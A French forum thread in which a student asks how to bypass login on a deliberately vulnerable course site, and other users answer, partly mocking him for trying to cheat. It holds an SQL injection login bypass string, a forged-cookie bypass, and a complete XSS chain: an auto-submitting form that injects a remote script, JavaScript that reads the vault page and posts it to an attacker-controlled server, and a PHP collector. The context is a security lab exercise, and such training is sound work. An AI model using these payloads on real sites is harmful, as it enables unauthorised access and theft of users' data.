Programmation » Sécurité
Catégorie:  
   
Sécurité
Publié le 24/02/2015 @ 15:10:30,
Par eric
Bonjour,

Quelqu'un sait comment est il possible de se connecter sans avoir de mot de passe, et ce,
grâce à 2 failles différentes.

On vous demande d’analyser les failles du site web de référence http://
esidcf.alwaysdata.net, spécialement développé pour le projet. Ce site comporte au
minimum 1 faille par type de faille étudié au cours (XSS, CSRF, Injection SQL et Cross
Site Cooking). Grâce à ces failles, vous devriez être capable de récupérer les sources du
site web afin de me les rendre corrigées.

Phase 1

Connectez-vous au site en utilisant les informations suivantes: f@f.com / aaaaaa. Ce site
comporte 4 pages: une page de connexion, une page présentant un solde bancaire en
euros, une page présentant le contenu d’un coffre fort et une page permettant de
rechercher une personne dans le site.

Expliquez comment il est possible de se connecter sans avoir de mot de passe, et ce,
grâce à 2 failles différentes.

1) avec SQL INJECTION il faut :

Pseudo= ' OR 1=1#
password=' OR 1=1#


2) J'ai pas d'idée
   
Sécurité
Publié le 24/02/2015 @ 16:35:21,
Par rfr
Et comment s'appelle le professeur? :tongue:
To die is a time consuming activity, it often takes a lifetime (but some are faster than others ... though)
   
Sécurité
Publié le 24/02/2015 @ 17:04:45,
Par zion
:ddr555:
Je suis le Roy :ocube:
   
Sécurité
Publié le 24/02/2015 @ 21:31:29,
Par rfr
Suffit de définir les cookies "à la main" dans firefox par ex:
connected=true
email=f@f.com
password=nimporte

et d'aller sur la bonne url.

Pour la phase2:

bust.html

<html>
<head>
<title>bust</title>
</head>
<body onload="init();">
<script type="text/javascript">
function init() {
document.getElementById("form").submit();
}
</script>

<form id="form" action="http://esidcf.alwaysdata.net/search.php" method="post">

<input type="hidden" name="personName" value='</div><script type="text/javascript" src="http://server/test.js"></script><div>'/>
<input type="submit" />
</form>
</body>
</html>


test.js

function httpGet(theUrl)
{
var xmlHttp = null;

xmlHttp = new XMLHttpRequest();
xmlHttp.open( "GET", theUrl, false );
xmlHttp.send( null );
return xmlHttp.responseText;
}

function httpPost(theUrl,data)
{
var xmlHttp = null;

xmlHttp = new XMLHttpRequest();
xmlHttp.open( "POST", theUrl, false );
xmlHttp.send( data );
}

var result = httpGet("http://esidcf.alwaysdata.net/coffre.php");

httpPost("http://server/damnedpost.php", result);


damnedpost.php

<?php
file_put_contents('/tmp/xxtest.txt', file_get_contents('php://input'));
?>


Suffit de rediriger le prof vers l'url http://server/bust.html

Il y a un exception dans le httpPost de test.js mais comme ça fonctionne quand même, je n'ai pas cherché.

Mais comme toi non plus et que la solution à l'exercice est ici, tu auras zéro et puis c'est tout.

Maintenant il faudra expliquer à ton prof pourquoi tu as essayé de tricher et que maintenant, son exercice est tout pourri parce que la solution est sur le net. C'est malin hein ...

Dernière édition: 24/02/2015 @ 21:40:24
To die is a time consuming activity, it often takes a lifetime (but some are faster than others ... though)
   
Sécurité
Publié le 24/02/2015 @ 22:25:44,
Par Dr_Dan
:rofl:
Se tromper est humain ; Vraiment foutre la merde necessite le mot de passe de root. :petrus:
   
Sécurité
Publié le 25/02/2015 @ 09:00:12,
Par Tang
...
Mais comme toi non plus et que la solution à l'exercice est ici, tu auras zéro et puis c'est tout.

Maintenant il faudra expliquer à ton prof pourquoi tu as essayé de tricher et que maintenant, son exercice est tout pourri parce que la solution est sur le net. C'est malin hein ...


:lol: :lol: :lol:
   
Sécurité
Publié le 08/03/2015 @ 16:59:45,
Par eric
tu as fait la sécurité aussi à l'ESI
Répondre - Catégorie:  
Informaticien.be - © 2002-2024 AkretioSPRL  - Generated via Kelare
The Akretio Network: Akretio - Freedelity - KelCommerce - Votre publicité sur informaticien.be ?